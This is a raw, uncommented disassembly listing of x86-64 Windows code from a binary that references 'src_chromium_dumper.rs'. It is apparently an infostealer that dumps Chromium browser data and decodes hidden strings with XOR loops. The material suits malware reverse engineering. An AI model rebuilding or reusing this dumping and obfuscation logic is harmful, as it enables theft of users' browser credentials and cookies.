cmp qword [rsp + 0x3e0], 0
je 0x1401220f9
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov rdx, qword [rsp + 0x190]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r15
cmp qword [rsp + 0x50], 0
je 0x14012201d
mov qword [rsp + 0x198], rdi
mov qword [rsp + 0x28], rsi
movups xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x2f0], xmm3
movaps xmmword [rsp + 0x2e0], xmm2
movdqa xmmword [rsp + 0x2d0], xmm1
movaps xmmword [rsp + 0x2c0], xmm0
mov rsi, qword [rsp + 0x2c0]
mov rdi, qword [rsp + 0x2d0]
mov rcx, rdi
call fcn.140289020
mov rbx, rax
mov r14, rdx
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], r14
mov qword [rsp + 0x1f0], rdi
mov rdx, qword [rsp + 0x2d8]
mov r8, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x1f8]
call fcn.14004b6a0
movdqa xmm0, xmmword [rsp + 0x2f0]
movdqu xmmword [rsp + 0x210], xmm0
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0x1e0]
xor r8d, r8d
call fcn.14000d03f
cmp qword [rsp + 0x110], 0
je 0x14012202c
lea rcx, [rsp + 0x118]
call fcn.1401180de
xor esi, esi
jmp 0x14012206f
call fcn.14000639d
lea rcx, [rsp + 0x40]
jmp 0x1401220d1
mov rsi, qword [rsp + 0x118]
lea rax, [rsp + 0x120]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movdqa xmmword [rsp + 0x1e0], xmm0
movdqa xmmword [rsp + 0x1f0], xmm1
movaps xmmword [rsp + 0x200], xmm2
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x210], rax
lea rcx, [rsp + 0x2c0]
call fcn.14000639d
test rsi, rsi
mov rdi, qword [rsp + 0x198]
je 0x1401220c7
mov qword [r15], rsi
movdqa xmm0, xmmword [rsp + 0x1e0]
movdqa xmm1, xmmword [rsp + 0x1f0]
movaps xmm2, xmmword [rsp + 0x200]
movdqu xmmword [r15 + 8], xmm0
movdqu xmmword [r15 + 0x18], xmm1
movups xmmword [r15 + 0x28], xmm2
mov rax, qword [rsp + 0x210]
mov qword [r15 + 0x38], rax
add r15, 0x40
lea rcx, [rsp + 0x40]
mov rsi, qword [rsp + 0x28]
add rdi, 0x40
add rsi, 0xffffffffffffffc0
jmp 0x140121ea9
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x1b0], rax
and qword [rsp + 0x3e0], 0
jmp 0x140122101
mov qword [rsp + 0x1b0], rdi
lea rcx, [rsp + 0x3e0]
call fcn.140130d56
mov rdi, qword [rsp + 0x190]
sub r15, rdi
shr r15, 6
lea rsi, [rsp + 0x1a0]
mov rcx, rsi
call fcn.14013083d
mov qword [rsp + 0x480], rdi
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x488], rax
mov qword [rsp + 0x490], r15
mov rcx, rsi
call fcn.14013088e
lea rsi, [rsp + 0x110]
mov rcx, rsi
mov rdx, qword [rsp + 0x1d0]
mov r8, qword [rsp + 0x270]
call fcn.14004b6a0
lea rcx, [rsp + 0x30]
mov rdx, qword [rsp + 0x1d8]
mov r8, rsi
call fcn.14012e577
mov al, byte [rsp + 0x30]
cmp al, 0x1a
jne 0x14012cda6
mov rdi, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
imul r15, qword [rsp + 0x48], 0x30
lea r14, [rdi + r15]
mov qword [rsp + 0x2c0], rdi
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x2c8], rax
mov qword [rsp + 0x2d8], r14
lea rbx, [rdi + 0x30]
mov rsi, rdi
lea rcx, [rsp + 0x40]
test r15, r15
je 0x1401222b1
lea rax, [rbx - 0x30]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movdqa xmmword [rsp + 0x1e0], xmm0
movaps xmmword [rsp + 0x200], xmm2
movdqa xmmword [rsp + 0x1f0], xmm1
cmp qword [rsp + 0x1e0], 0
je 0x1401222c4
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x130], xmm2
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rsi
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
cmp qword [rsp + 0x50], 0
je 0x14012229a
cmp qword [rsp + 0x68], 0
je 0x14012229a
movdqa xmm0, xmmword [rsp + 0x110]
movdqa xmm1, xmmword [rsp + 0x120]
movaps xmm2, xmmword [rsp + 0x130]
movups xmmword [rsi + 0x20], xmm2
movdqu xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
add rsi, 0x30
jmp 0x1401222a4
call fcn.1401196b1
lea rcx, [rsp + 0x40]
add rbx, 0x30
add r15, 0xffffffffffffffd0
jmp 0x1401221d3
mov qword [rsp + 0x2d0], r14
and qword [rsp + 0x1e0], 0
jmp 0x1401222cc
mov qword [rsp + 0x2d0], rbx
lea rcx, [rsp + 0x1e0]
call fcn.14012ee7c
sub rsi, rdi
mov rax, rsi
xor edx, edx
mov ecx, 0x30
div rcx
mov rsi, rax
lea r14, [rsp + 0x2c0]
mov rcx, r14
call fcn.14012ee87
mov qword [rsp + 0x370], rdi
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x378], rax
mov qword [rsp + 0x380], rsi
mov rcx, r14
call fcn.14012eee1
lea rax, [rsp + 0x370]
mov qword [rsp + 0x110], rax
lea rax, [0x140130d61]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x20], 1
mov r8d, 2
lea r14, [rsp + 0x30]
mov rcx, r14
lea rdx, [0x14045c198]
lea r15, [rsp + 0x110]
mov r9, r15
call fcn.140004cc3
mov rcx, r14
call fcn.1402594b0
mov rsi, qword [rsp + 0x380]
test rsi, rsi
je 0x140122bf2
mov rdi, qword [rsp + 0x370]
imul rbx, rsi, 0x30
add rbx, rdi
mov rcx, rsi
call fcn.14022aec6
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
and qword [rsp + 0x120], 0
mov rcx, r15
mov rdx, rsi
call fcn.14022af29
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x120]
lea rdx, [rsp + 0x120]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov rcx, rdi
mov rdx, rbx
mov r8, r14
call fcn.140001450
mov r8, qword [rsp + 0x120]
mov qword [rsp + 0x40], r8
movdqu xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x30], xmm0
mov rdx, qword [rsp + 0x30]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x340]
lea r9, str._nValue__cannot_be_turned_into_a_CIMTYPE
call fcn.14022aff6
mov rcx, r14
call fcn.140171bf7
mov rax, qword [rsp + 0x278]
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x3e0]
call fcn.14004b6a0
lea rcx, [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1d0]
mov r8, qword [rsp + 0x270]
call fcn.14004b6a0
mov rsi, qword [rsp + 0x1e0]
mov r8, qword [rsp + 0x1f0]
mov rcx, r14
mov rdx, rsi
call fcn.14012ef67
mov rcx, r14
call fcn.14012ef9c
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], rdx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x110], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x120], rax
lea rax, [0x140076e7c]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x20], 2
mov r8d, 2
mov rcx, r14
lea rdx, [0x140446248]
mov r9, r15
call fcn.140004cc3
lea rdi, [rsp + 0x2c0]
mov rcx, rdi
mov rdx, r14
call fcn.14012d661
mov rdx, qword [rsp + 0x1e8]
mov rcx, rsi
call fcn.14015e77d
mov rsi, qword [rsp + 0x2c0]
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x28], rax
mov r8, qword [rsp + 0x2d0]
mov rcx, rdi
mov rdx, rsi
call fcn.14004ac70
lea rax, [0x140446af1]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x445d235432b4912d
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013f1f1
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14012263d
lea rdi, [0x1404477b8]
movzx r8d, byte [rcx + rdi]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + rdi]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + rdi]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + rdi]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + rdi]
mov rbx, rcx
or rbx, 5
movzx ebx, byte [rbx + rdi]
mov r14, rcx
or r14, 6
movzx r14d, byte [r14 + rdi]
shl r14, 0x30
shl rbx, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rbx
movabs r8, 0xba00000000000000
add rdx, r8
or rdx, r14
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x140122596
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x458], rax
lea rax, [rsp + 0x458]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 8
lea rdi, [rsp + 0x3e0]
mov qword [rsp + 0x110], rdi
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
lea r14, [rsp + 0x1a0]
mov qword [rsp + 0x120], r14
lea r15, [0x140076e7c]
mov qword [rsp + 0x128], r15
lea r14, [rsp + 0x2c0]
mov qword [rsp + 0x130], r14
mov ebx, 2
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rbx
and qword [rsp + 0x50], 0
mov qword [rsp + 0x138], rax
mov edx, 0x20
mov qword [rsp + 0x58], rdx
mov cl, 3
mov byte [rsp + 0x60], cl
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x78], rbx
mov eax, 1
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rdx
mov byte [rsp + 0x98], cl
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], rdx
mov byte [rsp + 0xd0], cl
mov qword [rsp + 0xd8], rbx
mov qword [rsp + 0xe8], rbx
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], rdx
mov byte [rsp + 0x108], cl
lea rax, [0x140447750]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 5
lea r14, [rsp + 0x30]
mov qword [rsp + 0x200], r14
mov qword [rsp + 0x208], 4
lea r15, [rsp + 0x110]
mov qword [rsp + 0x1f0], r15
mov qword [rsp + 0x1f8], 3
lea r15, [rsp + 0x1e0]
mov rcx, r15
call fcn.1402594b0
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.14015e77d
mov rcx, rsi
mov rdx, qword [rsp + 0x28]
call fcn.14015e77d
mov rcx, qword [rsp + 0x3e0]
mov rdx, qword [rsp + 0x3e8]
call fcn.14015e77d
mov rax, qword [rsp + 0x278]
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
mov rcx, rdi
call fcn.14004b6a0
mov rcx, r15
mov rdx, qword [rsp + 0x1d0]
mov r8, qword [rsp + 0x270]
call fcn.14004b6a0
mov rsi, qword [rsp + 0x1e0]
mov r8, qword [rsp + 0x1f0]
mov rcx, r14
mov rdx, rsi
call fcn.14012ef67
mov rcx, r14
call fcn.14012ef9c
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], rdx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x110], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x120], rax
lea rax, [0x140076e7c]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x20], rbx
mov r8d, 2
mov rcx, r14
lea rdx, [0x140446248]
lea r9, [rsp + 0x110]
call fcn.140004cc3
lea rbx, [rsp + 0x2c0]
mov rcx, rbx
mov rdx, r14
call fcn.14012d661
mov rdx, qword [rsp + 0x1e8]
mov rcx, rsi
call fcn.14015e77d
mov rsi, qword [rsp + 0x2c0]
mov rdi, qword [rsp + 0x2c8]
mov r8, qword [rsp + 0x2d0]
mov rcx, rbx
mov rdx, rsi
call fcn.14004ac70
lea rax, [0x14043a6c2]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x97873d4b2e400d74
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013d7ce
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x1401229e0
lea r15, [0x1404477d8]
movzx r8d, byte [rcx + r15]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r15]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r15]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r15]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r15]
mov rbx, rcx
or rbx, 5
movzx ebx, byte [rbx + r15]
mov r14, rcx
or r14, 6
movzx r14d, byte [r14 + r15]
shl r14, 0x30
shl rbx, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rbx
movabs r8, 0x6900000000000000
add rdx, r8
or rdx, r14
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x140122937
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x4a0], rax
lea rax, [rsp + 0x4a0]
mov qword [rsp + 0x458], rax
mov qword [rsp + 0x460], 8
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0x110], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x458]
mov qword [rsp + 0x120], rcx
lea rcx, [0x140076e7c]
mov qword [rsp + 0x128], rcx
lea rcx, [rsp + 0x2c0]
mov qword [rsp + 0x130], rcx
mov ecx, 2
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x40], rcx
and qword [rsp + 0x50], 0
mov qword [rsp + 0x138], rax
mov r8d, 0x20
mov qword [rsp + 0x58], r8
mov dl, 3
mov byte [rsp + 0x60], dl
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x78], rcx
mov eax, 1
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], r8
mov byte [rsp + 0x98], dl
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], r8
mov byte [rsp + 0xd0], dl
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0xe8], rcx
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], r8
mov byte [rsp + 0x108], dl
lea rax, [0x1404467c8]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 5
lea rax, [rsp + 0x30]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], 4
lea rax, [rsp + 0x110]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 3
lea rbx, [rsp + 0x1a0]
mov rcx, rbx
lea rdx, [rsp + 0x1e0]
call fcn.14012d661
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.14015e77d
mov rcx, rsi
mov rdx, rdi
call fcn.14015e77d
mov rcx, qword [rsp + 0x3e0]
mov rdx, qword [rsp + 0x3e8]
call fcn.14015e77d
mov rcx, rbx
call fcn.14013bee6
mov rsi, rdx
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f051
mov rdi, qword [rsp + 0x340]
mov r8, qword [rsp + 0x350]
mov rcx, rsi
mov rdx, rdi
call fcn.14028d8a3
mov rcx, rax
lea rdx, str.src_chromium_dumper.rs
call fcn.14012d719
mov rcx, rsi
call sub.kernel32.dll_CloseHandle
mov rdx, qword [rsp + 0x348]
mov rcx, rdi
call fcn.14015e77d
mov rcx, qword [rsp + 0x3d0]
lea rdx, [rsp + 0x370]
call fcn.14012ef18
mov rcx, qword [rsp + 0x4d0]
lea rdx, [rsp + 0x390]
call fcn.14012f08c
mov rcx, qword [rsp + 0x588]
lea rdx, [rsp + 0x3b8]
call fcn.14012fd47
mov rcx, qword [rsp + 0x580]
lea rdx, [rsp + 0x480]
call fcn.1401308bb
mov rbx, qword [rsp + 0x3a0]
test rbx, rbx
je 0x140123c22
add qword [0x140545058], rbx
mov r14, qword [rsp + 0x390]
imul rsi, rbx, 0x48
add rsi, r14
mov rcx, rbx
call fcn.14022aec6
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
and qword [rsp + 0x120], 0
lea rdi, [rsp + 0x110]
mov rcx, rdi
mov qword [rsp + 0x28], rbx
mov rdx, rbx
call fcn.14022af29
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x120]
lea rdx, [rsp + 0x120]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x4e8], r14
mov rcx, r14
mov rdx, rsi
lea rbx, [rsp + 0x30]
mov r8, rbx
call fcn.14000165d
mov r8, qword [rsp + 0x120]
mov qword [rsp + 0x40], r8
movdqu xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x30], xmm0
mov rdx, qword [rsp + 0x30]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x458]
lea r9, str._nValue__cannot_be_turned_into_a_CIMTYPE
call fcn.14022aff6
mov rcx, rbx
call fcn.140171bf7
mov rax, qword [rsp + 0x278]
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x3e0]
call fcn.14004b6a0
lea rcx, [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1d0]
mov r8, qword [rsp + 0x270]
call fcn.14004b6a0
mov rsi, qword [rsp + 0x1e0]
mov r8, qword [rsp + 0x1f0]
mov rcx, rbx
mov rdx, rsi
call fcn.14012ef67
mov rcx, rbx
call fcn.14012ef9c
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], rdx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x110], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x120], rax
lea rax, [0x140076e7c]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x20], 2
mov r8d, 2
mov rcx, rbx
lea rdx, [0x140446248]
mov r9, rdi
call fcn.140004cc3
lea rdi, [rsp + 0x2c0]
mov rcx, rdi
mov rdx, rbx
call fcn.14012d661
mov rdx, qword [rsp + 0x1e8]
mov rcx, rsi
call fcn.14015e77d
mov rsi, qword [rsp + 0x2c0]
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x198], rax
mov r8, qword [rsp + 0x2d0]
mov rcx, rdi
mov rdx, rsi
call fcn.14004ac70
lea rax, [0x14043f0d6]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x42dafbe816e8cf02
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013db58
and qword [rsp + 0x30], 0
mov dl, 1
xor edi, edi
test dl, 1
je 0x140122f39
lea r15, [0x140447828]
movzx r8d, byte [rdi + r15]
mov rdx, rdi
or rdx, 1
movzx edx, byte [rdx + r15]
mov r9, rdi
or r9, 2
movzx r9d, byte [r9 + r15]
mov r10, rdi
or r10, 3
movzx r10d, byte [r10 + r15]
mov r11, rdi
or r11, 4
movzx r11d, byte [r11 + r15]
mov rbx, rdi
or rbx, 5
movzx ebx, byte [rbx + r15]
mov r14, rdi
or r14, 6
mov rcx, rdi
or rcx, 7
movzx r14d, byte [r14 + r15]
movzx ecx, byte [rcx + r15]
shl rcx, 0x38
shl r14, 0x30
or r14, rcx
shl rbx, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rbx
or rdx, r14
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
mov edi, 8
xor edx, edx
jmp 0x140122e8a
mov al, byte [rax + 8]
xor al, 0xa7
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x4a0], rcx
mov byte [rsp + 0x4a8], al
lea rax, [rsp + 0x4a0]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 9
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0x110], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x340]
mov qword [rsp + 0x120], rcx
lea rcx, [0x140076e7c]
mov qword [rsp + 0x128], rcx
lea rcx, [rsp + 0x2c0]
mov qword [rsp + 0x130], rcx
mov ecx, 2
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x40], rcx
and qword [rsp + 0x50], 0
mov qword [rsp + 0x138], rax
mov r8d, 0x20
mov qword [rsp + 0x58], r8
mov dl, 3
mov byte [rsp + 0x60], dl
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x78], rcx
mov eax, 1
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], r8
mov byte [rsp + 0x98], dl
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], r8
mov byte [rsp + 0xd0], dl
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0xe8], rcx
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], r8
mov byte [rsp + 0x108], dl
lea rax, [0x1404467c8]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 5
lea rbx, [rsp + 0x30]
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], 4
lea rax, [rsp + 0x110]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 3
lea rdi, [rsp + 0x1a0]
mov rcx, rdi
lea rdx, [rsp + 0x1e0]
call fcn.14012d661
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.14015e77d
mov rcx, rsi
mov rdx, qword [rsp + 0x198]
call fcn.14015e77d
mov rcx, qword [rsp + 0x3e0]
mov rdx, qword [rsp + 0x3e8]
call fcn.14015e77d
mov rcx, rdi
call fcn.14013bee6
mov rdi, rdx
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f051
mov rdx, qword [rsp + 0x458]
mov r8, qword [rsp + 0x468]
mov rcx, rdi
mov qword [rsp + 0x190], rdx
call fcn.14028d8a3
mov rcx, rax
lea rdx, str.src_chromium_dumper.rs
call fcn.14012d719
mov rcx, rdi
call sub.kernel32.dll_CloseHandle
lea rax, [0x1404448e2]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xede7140a7c39be9f
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013f718
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x140123239
lea r14, [0x140447868]
movzx r8d, byte [rcx + r14]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r14]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r14]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r14]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r14]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r14]
mov rdi, rcx
or rdi, 6
mov rbx, rcx
or rbx, 7
movzx edi, byte [rdi + r14]
movzx ebx, byte [rbx + r14]
shl rbx, 0x38
shl rdi, 0x30
or rdi, rbx
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rdi
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x14012318a
mov ecx, 8
mov rdi, qword [rsp + 0x28]
cmp rcx, 0xb
ja 0x140123274
lea r8, [0x140447868]
movzx edx, byte [rcx + r8 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r8]
add edx, r8d
add edx, 0x67000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], edx
add rcx, 4
jmp 0x140123243
mov al, byte [rax + 0xc]
xor al, 0x8b
mov byte [rsp + 0x3c], al
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x35]
mov qword [rsp + 0x3e5], rax
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x2c8], 0xd
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x110], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x120], rax
lea rax, [0x140076e7c]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x20], 2
mov r8d, 2
lea rsi, [rsp + 0x30]
mov rcx, rsi
lea rdx, [0x14044a420]
lea r9, [rsp + 0x110]
call fcn.140004cc3
lea rcx, [rsp + 0x1e0]
mov rdx, rsi
call fcn.14012d661
mov rsi, qword [rsp + 0x1e0]
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x3b0], rax
mov rdx, qword [rsp + 0x1f0]
mov rcx, rsi
mov qword [rsp + 0x198], rdx
call fcn.14012d6e9
test al, al
jne 0x14012338a
mov rcx, rsi
mov rdx, qword [rsp + 0x198]
call fcn.14013bf51
mov rbx, rdx
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f051
mov rcx, rbx
call sub.kernel32.dll_CloseHandle
mov qword [rsp + 0x268], rsi
mov qword [rsp + 0x340], 1
lea rax, [rsp + 0x348]
movups xmmword [rax], xmm6
lea rcx, [rsp + 0x30]
mov rdx, qword [rsp + 0x4e8]
mov r8, rdi
call fcn.14011935c
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
imul rdx, qword [rsp + 0x40], 0x48
add rdx, rax
mov qword [rsp + 0x3e0], rax
mov qword [rsp + 0x3e8], rcx
mov qword [rsp + 0x3f0], rax
mov qword [rsp + 0x3f8], rdx
lea rsi, [0x140447978]
mov qword [rsp + 0x28], rdx
cmp rax, rdx
je 0x140123b3b
lea r14, [rax + 0x48]
mov rcx, qword [rax]
movups xmm0, xmmword [rax + 0x38]
movaps xmmword [rsp + 0x210], xmm0
movups xmm0, xmmword [rax + 0x28]
movaps xmmword [rsp + 0x200], xmm0
movups xmm0, xmmword [rax + 0x18]
movaps xmmword [rsp + 0x1f0], xmm0
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x1e0], xmm0
test rcx, rcx
je 0x140123b38
mov qword [rsp + 0x110], rcx
movdqa xmm0, xmmword [rsp + 0x1e0]
movdqa xmm1, xmmword [rsp + 0x1f0]
movaps xmm2, xmmword [rsp + 0x200]
movaps xmm3, xmmword [rsp + 0x210]
lea rax, [rsp + 0x128]
movups xmmword [rax + 0x20], xmm3
movups xmmword [rax + 0x10], xmm2
movdqu xmmword [rax], xmm1
movdqu xmmword [rax - 0x10], xmm0
lea rax, [0x140439aab]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0xfc74cc69557cc117
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call fcn.1401407ed
and dword [rsp + 0x30], 0
mov byte [rsp + 0x34], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14012351c
movzx edx, byte [rcx + rsi]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + rsi]
mov r9, rcx
or r9, 2
mov r10, rcx
or r10, 3
movzx r9d, byte [r9 + rsi]
movzx r10d, byte [r10 + rsi]
shl r10d, 0x18
shl r9d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r9d
or r8d, r10d
xor r8d, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], r8d
